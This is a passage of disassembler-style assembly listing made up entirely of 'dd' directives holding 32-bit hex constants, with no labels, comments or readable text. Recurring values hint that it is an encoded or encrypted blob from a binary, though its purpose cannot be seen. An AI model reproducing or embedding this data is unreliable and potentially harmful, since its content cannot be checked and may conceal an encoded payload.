1C1C241Dh, 46B584Bh, 59AAF35Eh, 5EA1804Dh, 0C88BB677h dd 862056E4h, 494F3140h, 0D9651EBAh, 68CD5F43h, 0F8CB9B68h dd 9BEA2A2Ah, 0E17A0290h, 3683C36Fh, 58E90453h, 6F15272Eh dd 3C31775Ch, 0F80FF52Eh, 0E5A898Dh, 0C04625EAh, 995FC55Bh dd 74B98E94h, 0CBBE48Dh, 0EC2660F6h, 9FDA7166h, 7F4709DCh dd 2C982ABEh, 0FBEA82D6h, 29DC78C8h, 20A7636Ch, 60DCB50Bh dd 0F79379A6h, 7B51458Eh, 0C1F3EFFFh, 434C8B5Fh, 97D52901h dd 293BBD58h, 97D52901h, 226B4E8Bh, 3C6AB825h, 0BF454B48h dd 2C8B6F3Ch, 0DFDC93DFh, 69DBFED5h, 376FAB3h, 1765B4D8h dd 521A7229h, 9169420Eh, 0CBACBEEFh, 78393527h, 0C2C7ACB4h dd 0E2017CCEh, 70AF555Ch, 253B5327h, 0F400CACCh, 5B927FBh dd 8E9D5FAEh, 66AD68CFh, 0BDC505CEh, 552A68F7h, 0BDBEDA46h dd 21B36F48h, 1076E7BFh, 1135DB75h, 0C79F5C25h, 4E03A93Bh dd 0F33141ECh, 0B4734730h, 0CDF10124h, 37646BAh, 924F4905h dd 0B56BBDB2h, 380F3519h, 69DD707h, 0CF5B561Bh, 0DFF5A599h dd 0C91612D5h, 3683D6F7h, 1342BA53h, 0C59639Dh, 15B78363h dd 0A1770E8Bh, 0B609D00Dh, 2E57073Dh, 0E4A2024Eh, 0AB5AAD1Bh dd 154956C2h, 0A6E2F0A4h, 6F79DB5Bh, 0E4B9CDBEh, 9232475Ch dd 9C5D0F12h, 0A050025Dh, 567487E7h, 3F0B5831h, 0DD5022Fh dd 0D24DC3D7h, 1DC73F90h, 0A55EAAC4h, 4CA55E30h, 220E5DF3h dd 0A8E0A215h, 6A60983h, 0B2F0B7E8h, 0E013BBF8h, 394A253h dd 6D7665Bh, 8895FC2Bh, 3876C1D0h, 1EB76897h, 0EC090643h dd 1AF3EB33h, 0E0042982h, 5F229972h, 0A3A14677h, 911BCB74h dd 0EB9AAA84h, 3331276Bh, 2F92D12Ah, 435C1B6Ch, 4475F234h dd 466E958h, 235620A6h, 884AE5C9h, 0D24B86C3h, 5FD1E61Dh dd 0AA14FD1Fh, 5FD1E29Fh, 0B1388F1Ah, 4852DE6Eh, 246D479Fh dd 0B586DA30h, 56338356h, 0E3825F2Dh, 1DD19CE8h, 72D79C84h dd 0A32E537Eh, 220872C7h, 845C83A3h, 39FB4E01h, 317A3A78h dd 49923D9Dh, 0E2F3B1A1h, 8558D3Bh, 0AD8C4A17h, 0DADAA301h dd 1EEC53BDh, 0AFA8835Ah, 0FAF29E1Bh, 8D4138EFh, 0F1F5E6D4h dd 350AF8E9h, 0BC56A9F1h, 0EB6978DBh, 6B5A40E2h, 163EA37Eh dd 66A98111h, 0F15A743Fh, 8AA1F365h, 0CE4503Ah, 4D8A56F6h dd 151D049Dh, 0E68E9203h, 0A14C38C4h, 5CF7EB24h, 0FA7C3A8Bh dd 1FF87416h, 0E96051CAh, 2E4A023Eh, 2C94736Ch, 0F0E2EAD6h dd 75854B9Fh, 0AB2BBFD5h, 73B1CEFEh, 0DD9F608Fh, 1A7BE20Ch dd 7EFAA3A8h, 1A7BF5B8h, 162BF8B3h, 0AB2E644Fh, 46F54B4Eh dd 0F3BA74B6h, 51D2CC42h, 65FFE8E7h, 8B0CB11Dh, 0CE777820h dd 97A98115h, 5CA6E5F1h, 0E2798B92h, 58572093h, 0EAF0B03h dd 0DBDE1303h, 0A97D2555h, 0A503625Ch, 0C3017847h, 0FCDAF9D7h dd 79B4F040h, 37D372E9h, 98906B15h, 6CC592FAh, 0C0BBFAEEh dd 8C497D07h, 0DD4E73CAh, 46D30396h, 0BBA32218h, 20A4D529h dd 811B2DC0h, 1CE02228h, 6211D97Ch, 0EFF0D163h, 0E39B6448h dd 0AF8E8FE9h, 6965382Fh, 1BB576F0h, 0E1930DD4h, 0F4032A10h dd 6EED09h, 0E74D7104h, 4D9F30B7h, 56C9B148h, 38878E7Ah dd 9B022F44h, 0F4104071h, 0D436B052h, 0AD4E3CEEh, 94EF78C3h dd 95DD3EFFh, 337E43D2h, 0BD5BA76Fh, 0EB3D2875h, 8C0B561Bh dd 0F2C3AB5Fh, 0DDFC898Dh, 843672B5h, 4238273Eh, 7610EF24h dd 920A501Fh, 635833ABh, 50553600h, 46CAB32Bh, 534DDA4Fh dd 0C4719F45h, 9828F36Ch, 5E5B645Fh, 0BA5A3CF8h, 0BDF58762h dd 0B0A30024h, 6929ACF5h, 0D13B65E0h, 5E21D8B0h, 115DFA91h dd 4C5118CDh, 0B02346D1h, 42382751h, 73059EB2h, 0BA756D6Eh dd 0FCC4EDBh, 0A0CC29A8h, 5FF2D209h, 0D1C0D5EFh, 29860D5Bh dd 4C69586Ch, 65CCC754h, 0DA4C5F21h, 0E3D4C988h, 7F83AE8h dd 0AE2661FCh, 4728A431h, 1B1D6AEBh, 0E22E0A55h, 29A050BEh dd 394A727h, 29A050BEh, 80ECF827h, 474AD2C3h, 0C12C919Fh dd 83D0E8A1h, 261A09F9h, 6BB08244h, 0F055ADCEh, 0B46CCF8h dd 92055BCFh, 6B2E81F3h, 0F0557964h, 0CEC8AF8h, 0ED0109F8h dd 3D1102Bh, 0F9CD11DCh, 3010B96h, 80CD0D83h, 6B2B4083h dd 98821013h, 0F201ED26h, 39DEF2F0h, 8D3452F8h, 0EA956247h dd 0A9CBD856h, 361A0AC6h, 1428244h, 8F49F9C6h, 2F40D9Ah dd 0E9AA9907h, 0AB0109F8h, 0F050F760h, 894C78F8h, 9E0C5B20h dd 6B2E8109h, 0F0557964h, 0FED48AF8h, 0ED0109F8h, 0E3D1102Bh dd 4826EA7Bh, 0E1E4CD50h, 0B32B3D47h, 0BE22F064h, 8DE91165h dd 9D1161D5h, 0A7C17A81h, 0B5B2705Dh, 9EC1B7F6h, 517392E1h dd 25F4B1C2h, 0D5C45810h, 0A44654F2h, 88C6965Ch, 3F51DABDh dd 1A324AC9h, 948AA4AEh, 4D8E3BF8h, 5FBD3523h, 0FF7C692Bh dd 2C907D79h, 0CE7B25BAh, 30D3E9F0h, 1CA9BE5Bh, 7F1B1128h dd 0B1C84C11h, 0F23365B7h, 0AB977C26h, 2C4BF8Ah, 97103D2Fh dd 0DE11A987h, 0F050F5EDh, 0D390F7F8h, 0A06839EBh, 2F5A1182h dd 7BAD00EEh, 420109F8h, 13434BF7h, 0C8DCB987h, 0F2238C39h dd 0EF66E7F8h, 0F2362FA0h, 6A0709F8h, 7B792466h, 3C3A1D95h dd 9318152Bh, 0F201F063h, 34EB7A20h, 0B2BCF010h, 81A0389h dd 0E9535E0Eh, 7E32D83Fh, 0C5789239h, 495701E8h, 140109FFh dd 4B708B7Fh, 0D1CA677Fh, 1D8E5AA6h, 0F204F657h, 47962041h dd 83333CFh, 4E14DF08h, 0B873E889h, 38C4DB13h, 650109FFh dd 0F23CF7D6h, 44428AF8h, 0B9CD8956h, 7DFBD54Bh, 17242B50h dd 0C229C05h, 69A109F8h, 6DAF1EEEh, 0AB9800DEh, 3A38EB22h dd 653C15BAh, 5501F8A4h, 0BBECEBF8h, 0C90FD2EDh, 685BEAF8h dd 5745FC2Dh, 58BAEBDAh, 0DF877244h, 58DE2492h, 0F22B70DCh dd 987C363Fh, 0ACD074FDh, 9E7A53E5h, 0C066F95Eh, 751FD6DCh dd 74EF6051h, 1CC874FDh, 4B907AB4h, 0AA846395h, 264107B5h dd 0A9CECBE4h, 883DEF9Eh, 21F626D0h, 4515E57h, 23BD5489h dd 0AF5C6A0Bh, 5CCBF16Dh, 3333A55h, 0B200B33Dh, 7B9284Ch dd 4A22A745h, 7194A385h, 5A698F3Ch, 0DC77B2BFh, 7D93FC62h dd 7D838319h, 0D2F65522h, 656842B1h, 0A4801209h, 0F848E225h dd 0D421D9D4h, 717409A6h, 5F816704h, 5F6C23ADh, 2BC8970Ah dd 9881D762h, 58DDFB41h, 0DEBD2744h, 0DC497311h, 0AFF81A6Bh dd 82838F27h, 0C881E1F3h dd 8BCD7080h, 3921A075h, 83C015A7h, 0FE7A87C8h, 9FCB7BF5h dd 8FAB60FBh, 0ED56D997h, 3BCFEB33h, 348E74F1h, 0CF971D2Fh dd 9D6CC6F8h, 7142E7F9h, 0B26D92A8h, 42D53A20h, 0C5157A74h dd 4FA19665h, 5B11F1D1h, 0BB058AA6h, 0E2970081h, 3EB71814h dd 0DF093DEAh, 58B96869h, 0B0415BDAh, 7109EAh, 9504E519h dd 0AF59CB08h, 0EA33F54Fh, 0C736D764h, 0AF9644F3h, 5925A35Ah dd 0AB70182Ah, 0E91C8D99h, 83B6701Ah, 0CEE48BF3h, 85394C4Fh dd 1F87B76Ch, 444C696Fh, 0CF976E71h, 0BF21E9EFh, 0C88C6A8Ch dd 8E3BE55Eh, 41393990h, 0A1AB6F42h, 0C18C508Ah, 3F65CADFh dd 0EE403528h, 3D6376A7h, 11CB871Eh, 0F5A34960h, 4B569CD0h dd 43976922h, 0A1E3E3C8h, 167455ECh, 0B5A0CC5Ah, 511316B7h dd 588778ABh, 94E94422h, 485EB434h, 439C07C3h, 0B503892Ch dd 4BB31C81h, 1ED3EB83h, 0E663975Ch, 0C96C94D7h, 7B64F216h dd 0CD55AA1h, 709BB101h, 0A2DE93F3h, 0D652467Ah, 1010C74Eh dd 6630927Eh, 709EF5C8h, 1B4D8AF3h, 5F51CFB4h, 0FF13F42Dh dd 1DAE26F7h, 8E868D1Bh, 0BB30A170h, 0EE74784h, 1824240Ch dd 0AE42AB9h, 9EAE935Bh, 0C6B5A75Ch, 9E11100h, 0ABA8C466h dd 58B961E3h, 435FB13Fh, 2E3D2894h, 377EE006h, 33073A6Ch dd 0A2B4286Ah, 3B3C0653h, 5F698FF8h, 0F61C8647h, 5B325177h dd 0AA7253DEh, 0E6325262h, 0A0CC7561h, 0E0333C8Eh, 7EEFDF38h dd 0BD2D0F2Eh, 9B5E0303h, 33A98EAEh, 12158920h, 4E0ED666h dd 58877738h, 6501605h, 1D2B90C2h, 6EDA3289h, 6C6949B8h dd 7A29DDEDh, 0ECE3B219h, 816990F4h, 6A0A9396h, 5C68414Ah dd 0ADD4806Dh, 5F0B11E5h, 58BAA424h, 435FAB7Ch, 80CB2894h dd 3AE84E54h, 6060E41Fh, 0C9415681h, 83D462CBh, 79E4322Fh dd 88D78F4Eh, 1F63F091h, 7C25197Ah, 0BD29ECE8h, 0C11AB1EDh dd 77E2F61h, 0AF4D278h, 0E864968Ah, 648ECE81h, 0ACA8C949h dd 0A107FEEh, 0F0605ED4h, 0B90EB014h, 0ADCA5B86h, 1D1C208h dd 0DFA06EB2h, 63C1E7A1h, 0FABAB9E0h, 8E2A88D8h, 8E2D2093h dd 0B542B33Bh, 6490F91Bh, 5E9B7139h, 0E170182Ah, 18D86B5Bh dd 5A8A6817h, 0AE7279D5h, 9D09A35Ah, 570DFA26h, 0FCE6D45Dh dd 0F92D04DCh, 3E4BFCEFh, 9E932B9Ah, 2F324FBFh, 0B395E49Bh dd 9388414Ch, 0B8811AF6h, 66206907h, 3EC23426h, 6653E12Dh dd 32106BA2h, 0ADAB1159h, 2420E654h, 593CBD86h, 5308AEB7h dd 0BCB40533h, 54C6C2FBh, 9B25F5F7h, 755839A5h, 0D8C4D12Ah dd 0EE10977Eh, 8DB275F4h, 0DE34AE89h, 979512BFh, 22DB222Ah dd 5D8686D1h, 0B7A4C678h, 0F8B84C22h, 0F06FC551h, 9F9C8E48h dd 958C44E8h, 1B2E0076h, 0FC794841h, 298AC5AFh, 0E49587ABh dd 9285193Ch, 196709E1h, 96BBB23Ah, 8F9B472Bh, 0DCF665E1h dd 282640ACh, 534B8DC8h, 8AC5B44h, 0B4F7A4CEh, 0BBA439EEh dd 2B795D44h, 648FBB93h, 9936EC6h, 0EE84D635h, 0B8B0459Dh dd 55B1918Bh, 0D423693Ah, 16CBBC54h, 0C9A09957h, 0CCDE24FFh dd 40A0FE36h, 59492F1Dh, 0A93338Fh, 59FAE25Eh, 87C5D7C0h dd 3D6F558Bh, 3DCF69E9h, 56BF2B59h, 955515C6h, 0AA46A377h dd 385026DCh, 4C4CBD00h, 0F1E7BFEEh, 0F3AF5228h, 90B1C726h dd 77D67D08h, 0ECE93C52h, 8A79922Ch, 952FA2A3h, 0D2AAB2A2h dd 0BE2C3BF8h, 0C61BA0Bh, 0FB1C2B6h, 99F4195Fh, 0C6D8BA20h dd 0A9D1E9F1h, 224E169Bh, 0C8789A2Ah, 0E4D1BED2h, 0A9D46DB8h dd 6C4D87EAh, 4E3C751Dh, 447CCF29h, 9EDD9359h, 0C2B903A8h dd 7465373Bh, 626BC3D3h, 0C96B9622h, 0A621B9E1h, 0BA413EEh dd 2A398BF4h, 988C54A5h, 131B7AB7h, 0D5895C55h, 56C51746h dd 5EA73301h, 0CCE5F09Eh, 0B446BB2Ch, 0CCE0DB51h, 0F146BB2Ch dd 0C993DBA8h, 7347D447h, 8C5AF09Eh, 6D6A0116h, 0F6A9E60h dd 3EA1C0B8h, 0C5CBB92Bh, 0EBF6B238h, 55D22185h, 0CFD57151h dd 0EBF254E1h, 0AE471351h, 55D21629h, 7AADAE82h, 0B4DAC012h dd 5327EEEEh, 37DA044h, 7D55B870h, 0BA634F75h, 0D99904C4h dd 4F9FBBF7h, 2F266B43h, 0B426B9E1h, 5327EEA3h, 0EBFEB544h dd 0EBF67785h, 0CBED36D7h, 0EC26B9E1h, 523C80A1h, 5A54BC5Dh dd 98C347C9h, 3EEAD7CEh, 99A2F5F2h, 73004DBBh, 0BB00C055h dd 552706F9h, 0EB9CC11Ch, 18438D44h, 2D066910h, 47276D86h dd 39CD1E4Ch, 42F7FA26h, 85D77086h, 48ECF5DDh, 200ADAFEh dd 0A349632Ah, 5327DB09h, 129F9844h, 55624F40h, 556D6C2Dh dd 533E642Dh, 0FE3AF844h, 0C152FE18h, 0D9CC334Ch, 46550789h dd 0CF9EEEEAh, 0C55838Ch, 14229EE9h, 98F193FDh, 0D06A3FECh dd 519581E9h, 3CD39FE7h, 3ED4B85Ch, 3EAC2110h, 50C6B92Bh dd 0BD6A15F1h, 0BC2E483h, 0C921E467h, 7DAFB9E1h, 2539D9EAh dd 0F265813Ah, 53279FCEh, 3ED4B844h, 3EAC50E5h, 37C6B92Bh dd 0A5550EF1h, 0BC2E44Eh, 0C9DCE467h, 0FB0B9E1h, 5509DFA3h dd 0B027DB90h, 0CF9EA4B7h, 0E7E1B467h, 5326B9D5h, 378B03E4h dd 0CFDA11F3h, 2F4C2068h, 53277DE4h, 0D988A416h, 4F6A3962h dd 9E21E2D1h, 0B9C2D019h, 7287F6BCh, 0CF9ED1D0h, 0E7E1B467h dd 5326B9D5h, 378B03E4h, 0CFDA11F3h, 2F4C2068h, 5327AD92h dd 0E588A416h, 9597BF57h, 949B2430h, 1513CECh, 0A58457D2h dd 24A1AD5Ah, 0D6D50808h, 7E31BF13h, 0A4A0B2E5h, 5EFDEC6Dh dd 0BBD98AB6h, 659DD098h, 7C3EAB9Ah, 83BA9269h, 0E42C9234h dd 0A5046B72h, 54965AF1h, 0AF1D253Ah, 6E79A7B7h, 44B63DF8h dd 72405BADh, 0FD457695h, 0E46A8058h, 8B441718h, 9710002Dh dd 7C45E4C0h, 26523FFAh, 83609C11h, 0C982BA83h, 478372CFh dd 59733FE9h, 0D86850FEh, 20FA06A6h, 0CF130657h, 93DD5B37h dd 0E3B1A4B0h, 3282353Dh, 0E2108459h, 0F86E1AFAh, 2A10E286h dd 875D5F0h, 7FB69C57h, 0A6C881DAh, 73983BDBh, 63689C79h dd 89F0650h, 394B6BCh, 4799CF57h, 461306A6h, 0FA1006A6h dd 213083Ch, 7D13105Eh, 8812A62h, 8CC6A657h, 213083Ch dd 930DA67h, 210E808h, 210F157h, 6AD6C8B7h, 789AF91Dh dd 395D9B1h, 3B721AFh, 43030657h, 442BB2CEh, 93330657h dd 0EF937DF8h, 2A10E59Ch, 6D9F06A5h, 50A6150h, 1A3E0657h dd 4873C004h, 0D31340B9h, 1099B0F5h, 413F4C64h, 311F8393h dd 749A5D99h, 399AB02Dh, 3099B012h, 36FFE39Bh, 0B19AB0DCh dd 3099B02Eh, 0AB9A5D99h, 311E60CDh, 751A79DCh, 0A999B02Dh dd 31B1B02Eh, 3099B24Ch, 4E687DE5h, 7A84DB9Ah, 0D4CCF3Ah dd 762B40AAh, 2599B3EFh, 3099B241h, 0CCAF7861h, 0E32E08D4h dd 101F1FD5h, 0D1CC4BD9h, 0AB99B02Eh, 311E6183h, 36E279DCh dd 3099B0DCh, 309A8CDCh, 894C5024h, 3099B303h, 363AE16Ah dd 0F7E945BDh, 0B9B7077Ah, 7270B02Eh, 9B99B0DCh, 977D4042h dd 0E068C709h, 5899B30Ah, 539AB02Eh, 309A8371h, 36FF4BE5h dd 0A98A6ADCh, 8981B0CAh, 0D4722775h, 98A8F8C0h, 166B50DBh dd 36E98571h, 0EA4C50DCh, 51E95048h, 6437E347h, 0B9B8036Bh dd 109A8F17h, 61972141h, 2519B1CEh, 3D5E0853h, 37B9B02Dh dd 3604A28Ah, 986238DCh, 5D90B0DBh, 0A0B0E2Ah, 0ADE84C1Fh dd 924CB94Dh, 311EACFAh, 360BAAE5h, 6D310DCh, 6362A093h dd 0B18C3D1Eh, 9B4C970Eh, 8FCBB0DBh, 3992A05Ah, 5BE63E6Bh dd 55CA40E7h, 360BD44Fh, 0BB9F2FDCh, 172443D0h, 0A425CC63h dd 0BC70B02Eh, 0B499B02Eh dd 23D02B0Dh, 0F0CD87CBh, 0ADF64238h, 3604AE1Bh, 321A79DCh dd 0AB99B0DCh, 3099B0AEh, 1099B0DCh, 14E960AEh, 0DAD79AACh dd 9B15B02Eh, 0AB4D50DBh, 3604DC7Bh, 3A0CDDDCh, 0BC30AC24h dd 0E5F974Ah, 4BF59CD8h, 0B21D6834h, 980CB02Eh, 33800BDBh dd 0E5EB0DCh, 823FD3C5h, 259A223Ch, 3099B24Ch, 8837D1DAh dd 0FCBAAC55h, 0C4F92113h, 3D18D51Ch, 36FFFE90h, 0B09AB0DCh dd 3099B2B7h, 2599B024h, 3099B254h, 0E5BED971h, 0E6A96E9Bh dd 3F9AB2B7h, 3099B19Bh, 2A7D0C3Ch, 85CDEB82h, 11654D01h dd 0A99A8C0Eh, 9B15B02Eh, 36080BDBh, 0F69AB0DCh, 5CA5127Dh dd 99B453D1h, 0D9B63413h, 309A84AAh, 0A7A16E3Ch, 0C770B02Eh dd 0CD99B02Eh, 87AC29B6h, 0DE414D71h, 74CEB49h, 0D60AE341h dd 98B30329h, 0E8BA8CDBh, 0A653C071h, 9DE44D71h, 31920BDBh dd 0E192B0DCh, 0AC6036CEh, 289AB02Eh, 3099B2B7h, 309A9999h dd 309A049Bh, 0F8B9B0DCh, 86E85517h, 359A8C13h, 37856D0Dh dd 0AB99B0DCh, 301A9E39h, 311F814Fh, 9DCE319Bh, 2B9AB0DBh dd 3099B280h, 311EAC3Ch, 0AB99B3D0h, 309A8D32h, 309A8CDCh dd 0A8E8723Ch, 1099B02Eh, 0A43B6817h, 970B02Eh, 1899B0DCh dd 0E0F43578h, 7B2E0015h, 0B8170D9Eh, 98B1B02Eh, 0C79E79DBh dd 2599B02Eh, 3099B1A2h, 2FDBA042h, 0BC1485Fh, 7A7F68B6h dd 36051E41h, 9861F499h, 1BCBB0DBh, 0ACDC28E2h, 62CDC664h dd 970B0DBh, 2F99B0DCh, 648DC4FBh, 0F28C192Fh, 901B5A5Fh dd 0C570B0DBh, 7D99B0F5h, 0D58DE846h, 1C5D6CADh, 241D2C1Dh dd 13686401h, 31B9B0F5h, 309A82E7h, 0CF506024h, 3E8638EAh dd 9FB27F39h, 27235A95h, 0C010E333h, 259A9263h, 3099B3C6h dd 0C3643A1Bh, 0EF0865ECh, 360556D5h, 2599B024h, 3099B3C6h dd 0EE33C202h, 86171185h, 3F9F43D2h, 975440B6h, 0AB9A8C14h dd 3604AF83h, 321B79DCh, 0AB99B0DCh, 309A2F5Fh, 309A9BDCh dd 9B47943Ch, 0BA4AB0DBh, 50C51EF5h, 0AB834C1Ch, 8DA7EE94h dd 98BA7D5Dh, 0AA7F79DBh, 2599B02Eh, 3099B3C6h, 0E9A06633h dd 0FAEB81BCh, 9B15CBCBh, 9B460BDBh, 0A971B0DBh, 8F35CD40h dd 9810F62Ah, 51E950DBh, 311F8231h, 428D433Ch, 0BA4CE26Dh dd 3099B2B2h, 0D58C2B6Ah, 0CA70B02Eh, 9F99B02Eh, 0E7150E1Ah dd 5801773Dh, 0FE0370DAh, 8C416A92h, 1099BAECh, 36FF424Fh dd 328F60DCh, 943DC44Dh, 0DC3647EBh, 0BD9E5FCh, 7DE7A7F3h dd 0AB9A8C14h, 360631AEh, 728250DCh, 3299B0DCh, 0EC5DE79Dh dd 4AF830D2h, 36E2405Ch, 0AD99B0DCh, 30B9B02Eh, 3099B1B5h dd 9F9505F5h, 0A6D8A82Fh, 0A0BA5E7Dh, 3882CC37h, 7A140B3Ah dd 0D2F41119h, 0D459F123h, 27B7121Ah, 5778C283h, 54B0B0ABh dd 0D45FC628h, 7AD463D9h, 49CA2D19h, 0D2F32D6Ch, 68295ADEh dd 0A37867AFh, 3E6497AAh, 0D2F65217h, 0ADDB307Ah, 0CDF32D1Ah dd 0FE98A4AFh, 7520072Fh, 0C1326D0h, 7F36F9AFh, 7ABB9619h dd 16DD2D19h, 695E80C5h, 0BCBD4370h, 0D4CA2D6Ch, 0CEF32D1Ah dd 0ED59973Ah, 0F2F32E36h, 0D2F4EC24h, 9914571Ah, 13126BEEh dd 472E46EFh, 0D179EB6h, 0B24F1FFFh, 4214D2FFh, 0D45F988Bh dd 0D4422D1Ah, 2441CD1Ah, 81F32D6Ch, 9E4F1CFDh, 1CF03917h dd 330EB30Fh, 62D8D903h, 0F761358Eh, 5B1B1C89h, 0A7F42D6Ch dd 0D2F41F28h, 0D459E323h, 0AD75371Ah, 0F825C000h, 0AE2B70DFh dd 0BCCCB09Ch, 49CA2E42h, 0DDF32D6Ch, 0A22240EDh, 70F18EEDh dd 0AE03C557h, 0D459E5CDh, 0C7F32713h, 0D2F32F7Fh, 0A7D748B5h dd 1AF67404h, 0C88D1775h, 0C7F32D61h, 0D2F41F25h, 1AD17395h dd 0B3521235h, 0F41432BDh, 31985547h, 0D44E0C4Dh, 79FC951Ah dd 0D2F41119h, 0D3791923h, 0DBB74B1Ah, 0D45FBF70h, 0D459E323h dd 76572B1Ah, 827F93BDh, 59C65712h, 22748A53h, 0D3132D6Ch dd 0D2F32F8Ah, 0A2ACD34Eh, 0CAE00590h, 63BC440Ch, 66A841A7h dd 43AC7B61h, 96F41255h, 7A662D6Bh, 0D2F59519h, 0D4653723h dd 4BFABF1Ah, 7B5B4EDAh, 0A8D5913Bh, 0D459F08Dh, 1BF0141Ah dd 0B3415951h, 0F60F462Ch, 0D45996E2h, 7F2799D9h, 0A7F42D19h dd 0D2F32FBEh, 0D378317Ah, 49F32E0Eh, 0D459EE27h, 7ABB961Ah dd 0FC122D19h, 47700BBFh, 0B947215Eh, 1971B6A2h, 674AB975h dd 72422C1Fh, 383E1290h, 27CA2D6Ch, 0C1F32D33h, 5255F0Fh dd 9806966Bh, 165F38C2h, 590FA839h, 3B132D33h, 809FD4B0h dd 7AC72BFCh, 0D4489619h, 0A6D22D1Ah, 0ED59973Ah, 0E7816336h dd 0CADA150Ah, 7A83489Ch, 0B2A6CD19h, 0D2F32FF5h, 0D4615813h dd 58422D1Ah, 424BB255h, 7D94E564h, 7F3DF74Dh, 0BAE9CD19h dd 0D46549B9h, 44A66A1Ah, 0E66891A4h, 6D4359A4h, 0F1132D6Ch dd 4267728Bh, 49F41255h, 0D45E32AFh, 0D126E41Ah, 49F32D1Ah dd 0D2F32E44h, 4BF32D1Ah, 0ACCA2D6Ch, 0E0F32D1Ah, 0CDE6BF0Ah dd 0AF772C96h, 4C9A94A7h, 0D7F4B2A8h, 0C132D6Bh, 0F653851Bh dd 6D3CF87Fh, 7DFA2D6Ch, 0D2F32F89h, 0B341EF0Eh, 767C65E6h dd 0D0C1B638h, 0B74448DCh, 96F4BB3Ch, 89132D6Bh, 56BC3ABAh dd 0D489708Bh, 27DB2D1Ah, 0BBF32D33h, 0DD76B328h, 8F3D25FAh dd 0D510D6C1h, 994BC264h, 0D378318Fh, 0D2F3ACD9h, 796F2D1Ah dd 5EABE419h, 0C7F32D6Ch, 0D2F32E41h, 51023B4Dh, 7E7AE528h dd 0D2F33108h, 0D57B5741h, 6366D2D5h, 55041574h, 2CF42FF5h dd 0D2F32FF6h, 0F2F32713h, 0D1DA7C8Bh, 1A0B2D1Ah, 0D4761A8Bh dd 0D2F32E75h, 7A141E1Ah, 3C3BCD19h, 5B005D6Eh, 7A662D6Ch dd 0D2F41119h, 0D3782823h, 0B471F01Ah, 0F12B516Dh, 0C7F326FDh dd 0D2F32E41h, 6F6DE8E2h, 7A9C22A4h, 2F75E419h, 0F2F32D6Ch dd 7F26D614h, 4FF32D19h, 0C4FA2D6Ch, 0D2F56A1Ah, 7A887DD9h dd 0C132D19h, 9C7286BDh, 9B4887B8h, 49F41152h, 0D46548C2h dd 0D3EC961Ah, 0A6672D1Ah, 7A1D8A31h, 0D2F56A19h, 0F2F32D62h dd 37C91A8Bh, 796F2D6Ch, 0D2F59519h, 0C7F32D62h, 0D2F32F96h dd 0D0C7D29Fh, 0D8F2DD18h, 0AF808F1Ah, 7B6D8D8Dh, 0BF27A5ACh dd 0C9F42D6Ch, 0D2F32E04h, 0D2F599D9h, 5B132D1Ah, 49CA2D6Ch dd 0CEF32D6Ch, 66F43D45h, 51592905h, 7E7E93EBh, 0D459EB0Dh dd 0D3EB84D9h, 0B1F42D1Ah, 0D2F32E2Ah, 0D2F4C7D9h, 0C132D1Ah dd 0CD4064BEh, 0D0A0DFB5h, 0D3791C1Bh, 0F2F32D62h, 0D45F748Dh dd 4E1D221Ah, 0D28F68FFh, 0C73D1E22h, 0C7F4114Bh, 0D2F41F25h dd 9532DDC5h, 209D9C64h, 0EA1B1A54h, 21D243Ah, 79929510h dd 0D2F59519h, 4BF4C0D7h, 7A0B2D6Ch, 0CAF51119h, 0D2F41F28h dd 0D459E323h, 7865341Ah, 220B2373h, 0D8D6399Ch, 52CDEFA1h dd 2CF42D6Ch, 0D2F32FF6h, 96F4C0D7h, 0B132D6Bh, 0E7E020BDh dd 0A7B124EAh, 50781182h, 4E132D6Ch, 0A1ACB6BEh, 0D3791C25h dd 0D574EF7Ah, 49F32D1Ah, 3740B077h, 0F5F32D33h, 9F5DE850h dd 7A14E987h, 0D3EC9619h, 363B2D1Ah, 7A8599A7h, 0C8A7CD19h dd 7F385F84h, 0D242CD19h, 0D3790AD3h, 0CA0A811Ah, 0BD69003Ah dd 0F2F41256h, 0F8B6F775h, 32AE96DEh, 0C7F4114Ch, 0D2F32FC3h dd 1A6D6EB1h, 8DF89CFDh, 0C7F32FBFh, 0D2F32E2Dh, 0E1C8064Bh dd 6A2FE1DCh, 7E6BCD8Fh, 7243CD19h, 7F375CF4h, 0D2F56A19h dd 0D45E2F23h, 67A1111Ah, 14CA4674h, 116FFC34h, 42163096h dd 0CF22389h, 79A263D9h, 3B132D19h, 4D19FBEEh, 36677F69h dd 50EB26F7h, 1A0B2D6Ch, 0B487BD75h, 20D97BA3h, 0D3782FC1h dd 0F2F32713h, 0D45E2F24h dd 0DAE9791Ah, 0F6C3E201h, 0E69765D3h, 0FE635800h, 69886CECh dd 19E41A8Bh, 7A2B0A4Ch, 0D70D2D19h, 0D191AFBAh, 0D51F30B8h dd 3838615Eh, 0D45FF48Bh, 0CEF42D1Ah, 0D2F32E2Ah, 0D2F4B6D9h dd 0D2F32D1Ah, 0C7F32713h, 0D2F32E48h, 9FFA5C3Bh, 2FDC1C90h dd 99F32D6Ch, 8C325799h, 0B0545B92h, 54F42FECh, 0D2F32E42h dd 334CB67Ah, 0D3783034h, 0D460AD23h, 3FCD581Ah, 8029BECDh dd 0A96272DBh, 19AE427Fh, 0D45FB49Dh, 5EABEF7Ah, 0C7F32D6Ch dd 0D2F32E41h, 76CA137Ah, 4F3E5DDAh, 7F37017Fh, 0D2F40619h dd 0D3782823h, 1AD4B51Ah, 78EECABCh, 0EE74CD6Eh, 28EA2A1Dh dd 0F2F40FA1h, 0DE3DF4AEh, 0D3783173h, 0C7F32D62h, 0D2F32F92h dd 0EED785F6h, 30374AEFh, 0D3132D6Ch, 0D2F32E2Dh, 2C1765FBh dd 0CDE68ACBh, 662FAC2h, 5FA61F40h, 0D2F32D49h, 0D39EC0D9h dd 0AFF42D1Ah, 0D2F32FECh, 32CA2D1Ah, 85F32D33h, 7B66B461h dd 7A0CE9F4h, 0EBDFE419h, 0C7F32D1Ah, 0D2F32F92h, 12E36F99h dd 2B467DB7h, 1A662D6Ch, 1E997CA2h, 0D39756CCh, 791A2D1Ah dd 0C4996F92h, 49F4114Bh, 0D3790670h, 3021E41Ah, 0BAF32D6Ch dd 0CAF42D6Ch, 0D2F32FF5h, 0C7F4C0D7h, 0D2F32CE0h, 1643C411h dd 213B52A6h, 11CDD0D7h, 7971E5A5h, 4F3CE419h, 0C7F32D6Ch dd 0D2F32E04h, 5A74769h, 0B47B398h, 0CC603EADh, 0D2F32E04h dd 7AE0EF7Ah, 4FF32D19h, 0D4CA2D6Ch, 0E2F32D1Ah, 72FAF51Dh dd 8341E149h, 0C6F32D19h, 0E2CEDC66h, 3ED3744Bh, 0D646EDE4h dd 0B4F32D1Ah, 0E372943Dh, 54A6B653h, 0D2F32FD7h, 51595A9Ah dd 